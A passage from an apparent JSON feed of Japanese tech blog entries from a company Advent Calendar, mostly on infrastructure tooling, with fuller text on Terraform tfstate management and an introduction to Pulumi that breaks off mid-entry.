横尾(@866mfs)です。 3-shakeでは、社員なら誰でもGoogle Cloud の各種サービスを検証できる、検証環境アカウント(ここでは ”test.org” と表記) […]The post Google Cloud 検証環境を頑張りすぎず良い感じに整えた話 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-25T23:43:35.000Z","dateMiliSeconds":1703547815000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesのソースコードを読む Kubelet編","link":"https://qiita.com/ys1/items/7a455c602424e591fe38","contentSnippet":"起動処理Kubeletの起動処理についてソースコードを追っていき、どんな処理をしているのかみていきたいと思います。読むソースコード: バージョン: v1.27.2https://github.…","isoDate":"2023-12-25T15:06:41.000Z","dateMiliSeconds":1703516801000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"GitHub Actions で cosign を使って keyless 署名する","link":"https://qiita.com/yteraoka/items/db13b1dd94fa9e115676","contentSnippet":"この記事は、3-shake Advent Calendar 2023 24日目のエントリ記事です。Container image が適切な方法で build されたものかどうかを確認するために署名…","isoDate":"2023-12-24T14:16:16.000Z","dateMiliSeconds":1703427376000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Terraformのtfstateについて考える","link":"https://blog.masasuzu.net/entry/2023/12/23/000000","contentSnippet":"この記事は3-shake Advent Calendar 2023の23日目の記事となります。3-shakeのカレンダー | Advent Calendar 2023 - QiitaこちらはSRE Tech Talk #6で話した内容に補足したものです。3-shake SRE Tech Talk #6 - connpass資料はこちらとなります。 tfstateとはtfstateの課題tfstateの管理場所をどうするか問題localS3/Google Cloud StorageGitLabTerraform Cloudtfstateを管理するリソースをどう管理する問題aws/gcloud コマンドterraform + local state 管理CloudFormation / Google Deployment Managertfstateをどう分割するか問題環境分離パターンディレクトリ分離パターンbackend-configパターンworkspace環境分離以外の分割をどうするか問題分割する観点プロバイダーで分割管理権限で分割変更頻度で分割依存の方向性で分割tfstate間のリソース参照まとめtfstateとはTerraformが管理しているリソースの状態を表すjson形式のファイルです。tfstateとterraformファイルと実際のリソースの状態を比較して、terraformコマンドが実行されます。一般的には直接変更せずterraform stateコマンドを通して変更を行い、一般ユーザがtfstateに触れることはないです。参考: Backend Configuration - Configuration Language | Terraform | HashiCorp Developertfstateの課題tfstateについて以下の課題があります。それぞれについて見ていきます。tfstateの管理場所tfstateを管理するリソースの管理tfstateの分割tfstateの管理場所をどうするか問題主な保存場所候補としては以下のものがあります。local(デフォルト)クラウドのオブジェクトストレージS3/Google Cloud StorageGitレポジトリ統合GitLabSaaS利用Terraform CloudlocalTerraformのデフォルト保存先です。Terraformを実行する同じディレクトリのterraform.tfstateに保存されます。1人もしくは変更頻度が著しく低い状況など特殊なとき使えるものとなります。git管理して複数人で使うこともできるが、コンフリクトが発生しうるので、チーム開発には向かないです。基本的には複数人でterraformを使用するときは非推奨です。参考: Backend Type: local | Terraform | HashiCorp DeveloperS3/Google Cloud Storage監理するクラウドのオブジェクトストレージに保存する方法です。これが標準的(当社比)なのかなと思っています。オブジェクトストレージなので、権限があればどこからでもアクセスすることができます。それゆえ、同時にTerraformが実行されるので排他ロックの処理が必要となります。S3バックエンドを使用した場合はDynamoDBを使用してstate lockを実現します。Google Cloud Storageは単体でstate lockをサポートしています。tfstateの参照権限をクラウドのIAMで制御する必要があります。参考: Backend Type: s3 | Terraform | HashiCorp Developer参考: Backend Type: gcs | Terraform | HashiCorp DeveloperGitLabGitLabでtfstateを監理することもできます。tfstateを管理するリソースを管理する必要がないことがメリットとなります。(後述します)開発にGitLabを使っている場合、親和性が高い方法となります。参考: GitLab-managed Terraform state | GitLabTerraform CloudGitLabと同様tfstateを管理するリソースを管理する必要がないというところにメリットがあります。月間500 Managed Rsourcesまで無料で使えます。参考: HashiCorp Terraform: Enterprise Pricing, Packages & Featuresweb上からリソース差分の確認できたり、applyが可能です。SaaSにクラウドのリソース情報を預けることに抵抗がない場合は選択肢としては有望です。なおTerraformのStateのドキュメントではこういう記述があり、Terraform Cloudを推奨しているようです。This state is stored by default in a local file named \\"terraform.tfstate\\", but we recommend storing it in Terraform Cloud to version, encrypt, and securely share it with your team.参考: State | Terraform | HashiCorp Developer昔はAWSと連携するためにIAM Userのアクセスキーを使わないといけなかったが、OIDC認証もできるようになったので、よりやりやすくなったかと思います。参考: Terraform Cloud Adds Dynamic Provider Credentials for Vault and Official Cloud Providers参考: Terraform Cloud | Terraform | HashiCorp Developertfstateを管理するリソースをどう管理する問題GitLabやTerraform Cloudを使う場合には起きない問題となります。S3のようなクラウドのオブジェクトストレージを使用する場合は、このS3バケットをどう作るかということが問題となります。コマンドで作る場合、コマンドの管理、terraformで作る場合はそのtfstateはどこに保存するか、そういったことに頭を悩ませます。そこについて考えていきます。以下の方法が考えられます。aws/gcloudコマンドterraform + local state管理CloudFormationaws/gcloud コマンドそもそも作成コマンドしか打たないのであれば、スクリプトをレポジトリに含めておけば良いという考え方はあります。基本的に一度作れば変えることはないので、これで十分という風に割り切ることはできます。ただし、tfstateのバケットだけでなく、CI/CD用のIAM RoleやOIDC認証リソースなども初期リソースとして含めて管理したいというユースケースだと、スクリプト管理では力不足になりうります。terraform + local state 管理オブジェクトストレージをterraformで作る方法です。ただし、tfstateに関してはlocalに保存し、これをgitも管理します。かたくなにterraformを使いたい人に向けな方法となります。デメリットとしては、tfstateもgit管理するのでコミット忘れがあります。また、頻度低いですがterraform自体はローカルで実行せざるを得ないので変更衝突が起きうることです。CloudFormation / Google Deployment Managerクラウドごとにコードを変えないといけない。IaCツールを2種類使うというそこはかとない気持ち悪さはあるというデメリットはありますが、gitでインフラ状態管理しなくてすむというメリットがあります。気持ち悪さだけを克服できるなら無難な選択肢だとは思います。tfstateをどう分割するか問題第一に考えるのが環境の分離。この分離の仕方だけ他とは系統が違うので独立して説明します。一部差分があるだけで、以下のような形でほぼ同じ構成の環境を作ることはよくあります。開発環境ステージング環境本番環境これらについてどう分割するのかを考えていきます。環境分離パターン大きく2つのパターンを利用することが多いです。それぞれ見ていきます。ディレクトリ分離パターンbackend-configパターンディレクトリ分離パターンこれは環境ごとにディレクトリを分割して、環境ディレクトリを実行単位とします。環境の切り替えはディレクトリ移動することで行います。環境ごとの差分が大きいときに使うことが多いです。デメリットとしては環境ごとにリソース定義をそれぞれ書くので記述量が多くなるというのがあります。そのため、可能な限りモジュール化して、なるべくパラメータだけの差分にするようにします。ディレクトリ構成例としては以下の通りです。.├── envs│ ├── dev│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ ├── prd│ │ ├── locals.tf│ │ ├── main.tf│ │ ├── outputs.tf│ │ └── variables.tf│ └── stg│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf└── modules ├── vpc │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tf ├── application │ ├── locals.tf │ ├── main.tf │ ├── outputs.tf │ └── variables.tfbackend-configパターンbackend-configオプションとvars-fileオプションを組み合わせて、環境を切り替えるパターンです。${ENVDIR}/terraform.tfvars に環境ごとの差分パラメータを定義して、${ENVDIR}/backend.tfvars に環境ごとのtfstate保存先を定義します。terraform init で backend.tfvars を切り替えることで環境の切り替えを行います。環境ごとに差分が少ないときに向いています。差分は terraform.tfvars に記述されているパラメータだけなので、記述量が少なくて済みます。ただし差分が多くなるとcount, for_eachで分岐やループを作ることになり読みにくくなるというものがあります。ディレクトリ構成例としては以下のようになります。.├── envs│ ├── dev│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ ├── prd│ │ ├── backend.tfvars│ │ └── terraform.tfvars│ └── stg│ ├── backend.tfvars│ └── terraform.tfvars├── locals.tf├── main.tf├── modules│ └── vpc│ ├── locals.tf│ ├── main.tf│ ├── outputs.tf│ └── variables.tf├── outputs.tf├── provider.tf└── variables.tf設定ではbackendをs3と指定しておき中身はオプションで指定するようにします。terraform { backend \\"s3\\" {}}以下のようにterraform initするたびに適用する環境を切り替えることができる。terraform init --backend-config=${ENVDIR}/backend.tfvars --reconfigureterraform apply --var-file=${ENVDIR}/terraform.tfvarsworkspaceworkspaceは同じような環境を複製するときに使ういます。シングルテナント環境を量産する場合や開発環境を複数作る場合などに使います。環境を切り替える用途には作られてないとドキュメントまでは記載されています。参考: Managing Workspaces - Terraform CLI | Terraform | HashiCorp DeveloperIn particular, organizations commonly want to create a strong separation between multiple deployments of the same infrastructure serving different development stages or different internal teams. In this case, the backend for each deployment often has different credentials and access controls. CLI workspaces within a working directory use the same backend, so they are not a suitable isolation mechanism for this scenario.自分自身がworkspaceを実運用で使ったことがないので多くは語れないです。別でちゃんと使ってから書きたいと思います。参考: State: Workspaces | Terraform | HashiCorp Developer環境分離以外の分割をどうするか問題小さいサービスでは環境を分離するだけでだいたいは問題ないことがおおいですが、terraformを運用していると運用面、管理面でいろいろ課題が出てくると思います。管理するリソースが増えるとplan/applyの時間が増えたり、リソースの見通しが悪くなったりしてきます。特に実行時間が意外に馬鹿にできなかったりします。下手するとplanに数分かかるようになったりします。そのため、ある程度大きくなったらtrstateを分割して、リソースの管理範囲を分割する必要が出てきます。これをどうやって分割するかが自分の中で答えが出ていない出てないし、分脈によって解決策は異なるとは思います。ここで、解決策を考えるうえで、分割するための観点を見ていきましょう。分割する観点分割する観点は以下のようなものがあるかと思います。プロバイダー管理権限変更頻度プロバイダーで分割プロバイダー単位で分割するパターンです。例としてはAWSとDatadogのようにプロバイダーで分割します。プロバイダー間で依存がない場合は分けやすいかと思います。また、プロバイダー間で管理主体が違うことも多いので素直な分け方だとは思います。しかしながら、アプリケーションリソースとアプリケーションの監視を近いところにおいたほうが見通しがよいのではという観点もあるので運用体制にあわせて考えるとよいでしょう。管理権限で分割チームの権限で分割するパターンです。ただし、より堅くするなら、ディレクトリではなくレポジトリ自体も分割して、コードの参照権限も分割する方が望ましい場合もあります。例ネットワーク ⇒ インフラチームアプリケーション ⇒ 開発チーム変更頻度で分割変更をあまりしないリソースを変更が頻繁なリソースと一緒のplan/applyするのは無駄なので変更の頻度でtfstateを分割するパターンもあります。例変更が少ない ⇒ DB/ネットワーク変更が多い ⇒ EC2/ECS依存の方向性で分割少し観点を変えてみます。実際に分割をした場合に問題となるのはtfstate間のリソースの依存が課題になります。tfstate間で相互に依存するようなコードを書くとtarget指定してそれぞれのstateのリソースを作成しなくてはなりません。こうすると管理が煩雑となってしまうので、原則的に片方向だけの依存になるように分割するようにするのが望ましいです。tfstate間のリソース参照terraform_remote_state を使うことで、参照元のTerraformでoutputした内容を別のTerraformで利用することができます。# 参照元 networkアカウントoutput \\"vpc_id\\" { value = aws_vpc.main.id}# 参照先 applicationアカウント# data.terraform_remote_state.network.vpc_id の形式でVPC IDを参照できるdata \\"terraform_remote_state\\" \\"network\\" { backend = \\"s3\\" config { bucket = \\"terraform-tfstate-network-xxxxx\\" key = \\"tfstate\\" region = \\"ap-northeast-1\\" }}まとめ正直tfstateをどう扱うかに正解はないです。サービス規模や性質によって選択は変わります。本当に小さい規模であれば、tfstateを分割せず一つで十分でしょうし、チーム開発せず一人で扱うなら、通常であれば推奨されないtfstateのlocal git管理という手段がふさわしい場合もあります。また、組織やサービスの成長や時間経過によっても最適な選択は変わると思います。大事なのは選んだ技術要素に関しては選定理由を説明できるようにはしておくということです。選定理由及び不採用理由を明確にしておくことで、変更時に最適な選択の助けになるでしょう。","isoDate":"2023-12-22T15:00:00.000Z","dateMiliSeconds":1703257200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"testcontainers-scala で快適なインテグレーションテストを実現する","link":"https://zenn.dev/nomadblacky/articles/173ea1f829eafa","contentSnippet":"この記事は、3-shake Advent Calendar 2023 の 22 日目の記事です。 はじめに私の所属する株式会社スリーシェイクでは、Reckoner というデータパイプライン構築の SaaS を開発しています。https://reckoner.io/「SaaSをつなぐ。業務が変わる。ビジネスが進化する。」直感的なユーザーインターフェイスで、多種多様な SaaS のデータをつなぎ合わせることで、データ活用・データの民主化を実現します。 課題Reckoner では、データの取得・加工・保存部分を Scala で実装しており、データの連携先として、MySQL ...","isoDate":"2023-12-22T13:07:06.000Z","dateMiliSeconds":1703250426000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"AWS Network Firewall と NAT ゲートウェイの配置","link":"https://zenn.dev/toshikish/articles/d7d15cd01a8584","contentSnippet":"はじめにAWS Network Firewall(以下 NWFW)の導入例を探してアーキテクチャ図を眺めていると,説明されている図によって NAT ゲートウェイ(以下 NATGW)との配置がまちまちであることに気づきます。つまり,プライベート・パブリックサブネットのシンプルな構成の場合,インターネット宛ての通信経路は大別するとプライベートサブネット→ NATGW→ NWFW →インターネットプライベートサブネット→ NWFW → NATGW →インターネットの2種類が存在します。それぞれのアーキテクチャの違いと,どちらを選定すべきかの指針についてまとめます。 1....","isoDate":"2023-12-22T07:17:39.000Z","dateMiliSeconds":1703229459000,"authorName":"toshikish","authorId":"toshikish"},{"title":"社内チャットツールでGemini Proが使えるようになった話","link":"https://sreake.com/blog/gemini-pro-introduction/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、社内チャットツ […]The post 社内チャットツールでGemini Proが使えるようになった話 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-21T08:49:07.000Z","dateMiliSeconds":1703148547000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetesに対する理解を高めてKubernetesの「わからない」を減らそう","link":"https://speakerdeck.com/bells17/kubernetesnidui-suruli-jie-wogao-metekubernetesno-wakaranai-wojian-rasou","contentSnippet":"Kubernetes Novice Tokyo #29 で発表したLT資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/300438/\\r動画URL: https://www.youtube.com/watch?v=WZHDlB8P9_4\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md \\r\\rセッション内容の詳しい資料:\\rhttps://bells17.booth.pm/items/3129761\\rhttps://bells17.booth.pm/items/2649601\\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init\\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp\\rhttps://speakerdeck.com/bells17/kube-controller-managerru-men\\rhttps://speakerdeck.com/bells17/kube-proxyru-men\\rhttps://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru\\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive\\rhttps://speakerdeck.com/bells17/introduction-to-csi\\rhttps://speakerdeck.com/bells17/kubelet-and-containers\\rhttps://speakerdeck.com/bells17/cri-spec-and-dockershim-implementation","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"bells17","authorId":"bells17"},{"title":"\uD83D\uDC19 KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","link":"https://speakerdeck.com/hiroki_hasegawa/kubernetesnomarutitenantopatantoargocdnoshi-jian-tenantoshe-ji","contentSnippet":"『Kubernetes Novice Tokyo』の登壇資料です\\r\\r・Kubernetesのマルチテナントパターンの種類\\r・ArgoCDのAppProjectテナントとNamespacedスコープモード\\r・ArgoCDのテナントが防いでくれる誤った操作の具体例\\r\\rを紹介しました\\r\\rArgoCDのマニフェストの実装例を解説できませんでしたので、ぜひ元記事 (KubernetesのマルチテナントパターンとArgoCDの実践テナント設計) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1737778249021952458","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【ArgoCD\uD83D\uDC19】\\"Kubernetes Novice Tokyo\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/12/21/833414","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類ArgoCDのAppProjectテナントとNamespacedスコープモードArgoCDのテナントが防いでくれる誤った操作の具体例発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『KubernetesのマルチテナントパターンとArgoCDの実践テナント設計』ていうテーマで、 Kubernetes Novice Tokyo に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!Kubernetes Novice Tokyo の登壇資料です!キミだけの最強のマルチテナントを作ろう✌️#k8snovicehttps://t.co/qNEhnkA7WZ— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 21, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","isoDate":"2023-12-21T03:00:00.000Z","dateMiliSeconds":1703127600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"ddc.vimを使ってmakeやGinなどのExコマンドの補完を実現する","link":"https://blog.atusy.net/2023/12/20/ddc-fish-alias-completion/","contentSnippet":"ddc.vimは自動補完プラグインの1つです。新世代の自動補完プラグイン ddc.vimコマンドライン補完にも対応しており、組込みの補完よりも補完候補のソースやマッチング、ソーティングにおいて、高い柔軟性を持ちます。","isoDate":"2023-12-20T00:00:00.000Z","dateMiliSeconds":1703030400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テーブル構造変更に伴う認可・権限管理を設計実装してみて思ったこと","link":"https://qiita.com/bayobayo0324/items/a2fcc5eee9930bd2009a","contentSnippet":"※この記事は3-shake Advent Calendar 2023の20日目の記事ですはじめまして、@bayobayo0324 です。株式会社スリーシェイクでクラウド型データ連携ツール「Rec…","isoDate":"2023-12-19T22:00:39.000Z","dateMiliSeconds":1703023239000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"RでR言語をパースする","link":"https://blog.atusy.net/2023/12/19/r-parsed-data/","contentSnippet":"R言語 Advent Calendar 2023の19日目の記事です。ggplot2で標準偏差付きの折れ線グラフを描く」でした。可視化大事。2023年、ずいぶんとRを触ることが減りました。ftExtraなどのパッケージの更新をほそぼそとやってます。","isoDate":"2023-12-19T00:00:00.000Z","dateMiliSeconds":1702944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 細かい挙動","link":"https://zenn.dev/kyohei_saito/articles/eac62818b7217d","contentSnippet":"この記事は 3-shake Advent Calendar 2023 19 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能terraform test: 細かい挙動 <- 今ここ はじめに前回の記事では、 terraform test の応用的な機能の紹介をしました。この記事では、 terraform test の挙動について説明します。 terraform test: 細かい挙動 state...","isoDate":"2023-12-18T14:58:00.000Z","dateMiliSeconds":1702911480000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesとCoreDNSについて理解する","link":"https://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru","contentSnippet":"3-shake SRE Tech Talk #8 で発表したLT資料です\\r\\rイベントURL: https://3-shake.connpass.com/event/302755/\\r動画URL: https://www.youtube.com/watch?v=8JbfniqxNQk\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \\rhttps://github.com/coredns/coredns/tree/v1.11.1 \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \\rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \\rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \\rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \\rhttps://github.com/coredns/example \\rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"bells17","authorId":"bells17"},{"title":"2023-12-18 SRETT8 Terraform使いがPulumiに入門する","link":"https://speakerdeck.com/masasuzu/2023-12-18-srett8-terraformshi-ikapuluminiru-men-suru","contentSnippet":"","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"VimのOperator待機モードでexclusive motionをinclusiveに使う","link":"https://blog.atusy.net/2023/12/18/vim-convert-exclusive-motions-into-inclusive/","contentSnippet":"Vimアドベントカレンダー2023の12/18の記事です。ryoppippiさんによる「Vimで人生が豊かになった話」(2023/12/18 22:25時点で未投稿)atusyによる「Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる」Vimのモーションのinclusive/exclusive、なかなか意識する場面が少ないですね。","isoDate":"2023-12-18T00:00:00.000Z","dateMiliSeconds":1702857600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 応用機能","link":"https://zenn.dev/kyohei_saito/articles/52ce184522aae9","contentSnippet":"この記事は 3-shake Advent Calendar 2023 18 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能terraform test: 応用機能 <- 今ここterraform test: 細かい挙動 はじめに前回の記事では、 terraform test の基本的な機能の紹介をしました。前回の記事の内容でも十分に terraform module のテストを書くことができると思います。しかし、今回紹介する応用的な機能を使...","isoDate":"2023-12-17T14:58:00.000Z","dateMiliSeconds":1702825080000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"AWS Step Functionsを利用してAWSリソースの自動起動停止を行う","link":"https://qiita.com/ys1/items/21744f39676286b2c321","contentSnippet":"概要本記事ではStep Functionsを利用して、AWSリソースを自動で起動停止する方法について記載します。主にコスト削減のために、開発環境を夜間停止するなどで利用することを想定しています。今回は以下のようなことを実施する方法について説明しま…","isoDate":"2023-12-17T14:55:57.000Z","dateMiliSeconds":1702824957000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"個人開発で要件定義、設計をした話","link":"https://kechigon.hatenablog.com/entry/2023/12/17/142140","contentSnippet":"現在、個人開発で麻雀戦績管理アプリを作っていて、要件定義や設計について考えたことを共有したいと思います。GitHub ↓github.comなぜやったのか自分はWebエンジニアを目指している大学生ですが、まともなWebアプリを開発した経験がなく、フロントからインフラまでフルスタックで開発しようと思い立ちました。最初は何をするか手探りの状態でしたが、その「何をするのか」を定義するために要件定義、設計から始めました。何をやったのかGitHubにissueを作成し、やるべきことを明確化していきました。要件定義ここではアプリケーションの機能や、なぜそのような機能にするのかを箇条書きしていきます。この作業を通してやることとやらないことが明確化され、実装もうっすら浮かんできます。実際の要件定義は以下のような感じになりました。- ユーザーはまずサインアップする - ユーザー名、パスワードを設定する - ユーザー名は一意でないといけない - ユーザの削除機能はデータ整合性が複雑になるので作らない - サインアップ済みのユーザーはログインをする - ユーザー名、パスワードを入力- セッション管理をし、セッションが張られていたらログインを省略し、ユーザーホーム画面に入る。- 親ユーザーが部屋を作り、他のユーザーを登録していく - 作成できる部屋は10部屋まで - 親は参加のためのパスワードを設定する - 子は親に部屋IDとパスワードを共有してもらう - 3人以上いないと対局結果は登録できない、四麻は四人 - 部屋の削除機能も必要- 各部屋のホーム画面では各部屋での自分の戦績が表示される- オフラインで対局した点数結果とそのユーザーと何家かをアプリに登録する - 点数結果だけでいいの? - 毎回上がり役とかを登録してると、面倒くさいと思う - 三麻も登録できるようにする。 - 点数の合計点を計算し、ユーザーの入力をチェックする - 同点の場合は、東寄りが上位- 取り消し機能も必要 - 「対局」という粒度で削除できるようにする。これは点数とユーザを登録したひと塊。 - 間違えてもその「対局」を消し、また新しい「対局」を作ればいい - 自分または同じ部屋のユーザーの成績を確認できるようにする - 平均順位 - 一位率 - 二位率 - 三位率 - 四位率 - とび率 - 対局数 - 平均得点 - 各項目のランキングも出す - 「n局以上」で検索できるようにする- 対局の登録、削除のたびに個人成績を計算しなおすデータベース設計ER図を書きます。要件定義にあるように今回のアプリではユーザーのログイン機能や、そのユーザーが作成、参加する部屋、その部屋ごとの戦績など、テーブルが複雑にリレーションを張るので設計に入る前に整理することができます。ある程度機能を盛り込む予定の個人開発では必須でしょう。画面遷移画面遷移図を書きます。ページとその機能、ページ同士の遷移を定義します。ここで定義したことはすなわちユーザーアクションのすべてなので、ユーザーアクションごとのテストがしやすくなります。実際の画面遷移図↓以上のような要件定義、設計を行うことで、実装での手戻りが少なくなり、快適に実装ができました。これからアプリケーション自体はほとんど完成しているので、コンテナ化し、それをECSやCloud Runにデプロイし、運用していく予定です!","isoDate":"2023-12-17T05:21:40.000Z","dateMiliSeconds":1702790500000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Vimで無名レジスタでchange/delete/yankした時に、イニシャルに相当するレジスタにも値を入れる","link":"https://blog.atusy.net/2023/12/17/vim-easy-to-remember-regnames/","contentSnippet":"Vim Advent Calendar 2023の12/17の記事です。mattnさんによる「Vim で SQL を素で編集してるの?」Vimのレジスタ、使いこなしてますか?とっても沢山種類があります。","isoDate":"2023-12-17T00:00:00.000Z","dateMiliSeconds":1702771200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"terraform test: 基本機能","link":"https://zenn.dev/kyohei_saito/articles/a32b5a11c81e97","contentSnippet":"この記事は 3-shake Advent Calendar 2023 17 日目の記事です! この記事に書いてあることこの記事を含め 3 回に渡って terraform test の機能を紹介します。terraform test: 基本機能 <- 今ここterraform test: 応用機能terraform test: 細かい挙動 terraform test とはなにか 概要terraform test は Terraform module を実際に plan / apply して動作を確認するツールです。ドキュメントにも明記されている通り、主な使...","isoDate":"2023-12-16T14:58:00.000Z","dateMiliSeconds":1702738680000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"Terraform使いがPulumiに入門しました","link":"https://blog.masasuzu.net/entry/2023/12/16/000000","contentSnippet":"この記事は3-shake Advent Calendar 2023の16日目の記事です。qiita.comこの内容はSRETT #8で発表した内容に補足しています。3-shake.connpass.com 前提語らないことモチベーションPulumiとは対応言語PulumiのアーキテクチャPulumiのコンポーネントPulumi CloudPulumi Cloud 料金Pulumi操作方法PulumiインストールPulumi CloudへログインProjectの作成変更を確認Stackデプロイリソース削除state操作Terraformからの移行TerraformとPulumiを共存する(tfstateを参照)tfstateからインポートterraformからコード変換まとめ前提筆者は以下の背景を持っています。普段はAWSをメインに触っている普段はTerraformをメインで使ってるPulumiはプロダクションでは使ったことがないちゃんとは把握できてない語らないこと以下のようなPulumi以外の基本的なことは語りませんIaCとは概要、特徴、メリット・デメリットTerraformとは概要、特徴、メリット・デメリット、操作方法モチベーションなんでPulumiを今回調べようかと思った動機について書こうと思います。Terraformの記述力に限界を感じていたというところが大きいです。以下の点がつらいかなと思っていたところです。足りない関数二重ループのためのModule使用分岐処理のためのcountと三項演算子とはいえ、記述力が低いからこそ複雑なことを抑制できて可読性が上がっている面もあると思います。冗長でも、可読性が高いというのはメリットではあります。他の選択肢としては以下のものがあるかと思います。CDKAWSに限定されるCDKTF(CDK for Terraform)結局terraformのJSONコードに変換されるので、terraformに依存しますそれ自体は悪くないが、どうせならTerraformから離れたものを学びたいそこでなにか良いものがないかと思い当たったところにPulumiがあったので調べてみようとなりました。PulumiとはPulumiはプログラミング言語でインフラを構築可能なプロビジョニングツールです。Terraformと同じようにProviderを通して複数のクラウドに対応しています。TerraformはHCLという宣言的言語を使用するのに対し、Pulumiは汎用的なプログラミング言語を使用してインフラリソースを定義します。Pulumi - Infrastructure as Code in Any Programming Language対応言語TypeScript & JavaScript (Node.js)PythonGoC#, VB, F# (.NET)JavaPulumi YAML参考: Pulumi Languages & SDKs | Pulumi DocsPulumiのアーキテクチャ以下のようの構成になっています。参考: How Pulumi Works | Pulumi DocsLanguage hostインフラリソースの定義を Program (後述)として好きな言語で定義します。Deployment Engine希望する状態に変更するための操作セットを実行する役割を果たします。Resource Providerクラウドサービスとの通信を処理して、Programで定義したリソースの変更処理を行います。上記の例だと、Programにリソースの定義がある場合、Stateと比較して、管理されているリソースであるかを確認します。存在すれば、プロバイダーを通して実際のクラウドのリソースの状態と比較して差分があれば適用。存在しない場合、プロバイダーを通してリソースを作成。PulumiのコンポーネントWhat is Pulumi? | Pulumi DocsPulumiのコンポーネントは以下のようになっています。ProjectProgramのソースコードとメタデータ(Programの実行方法)を格納したディレクトリProgramインフラのあるべき姿を定義したものResourceインフラを構成するオブジェクト。ResourceのプロバティはOutputとして他のResourceのInputに使用することができますStackProgramを実行すると作成されるインスタンス。同一のProgramから開発、ステージング、本番環境のStackを個別に作成することができます。Pulumi CloudTerraform Cloudのようなものと考えていただいて良いです。デプロイの状態、履歴やシークレットを管理して、CI/CDやGitHubと連携してデプロイを実行することもできます。Pulumi CLIはバックエンドを明示的に指定しない限りはでデフォルトでPulumi Cloudを使用します。Terraformはデフォルトでlocalバックエンドを使用します。以下はPulumi Cloudの画面です。Pulumi Cloud 料金個人で使う限りは無料で使用することができます。※2023/12/18現在Pulumi操作方法ここからPulumiの操作方法を見て行きたいと思いますPulumiインストール個人的にはバージョン管理したいのでasdfでインストールします。brewでもインストールできます。# .tool-versionspulumi 3.97.0 asdf installPulumi CloudへログインデフォルトではPulumi Cloudへログインします。以下のコマンドを実行するとブラウザが起動するので、ログイン処理をします。pulumi loginPulumi Cloudを使わず、ローカルにstateを保存したい場合は以下のとおりです。pulumi 